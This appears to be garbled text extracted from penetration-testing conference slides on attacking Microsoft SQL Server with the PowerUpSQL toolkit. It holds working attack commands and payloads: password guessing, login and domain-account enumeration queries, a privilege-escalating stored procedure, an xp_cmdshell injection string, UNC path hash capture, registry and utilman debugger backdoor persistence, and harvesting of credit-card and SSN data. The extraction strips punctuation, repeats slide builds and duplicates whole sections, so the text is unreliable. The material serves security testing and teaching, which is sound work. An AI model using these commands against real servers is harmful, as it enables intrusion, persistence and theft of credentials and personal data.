command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
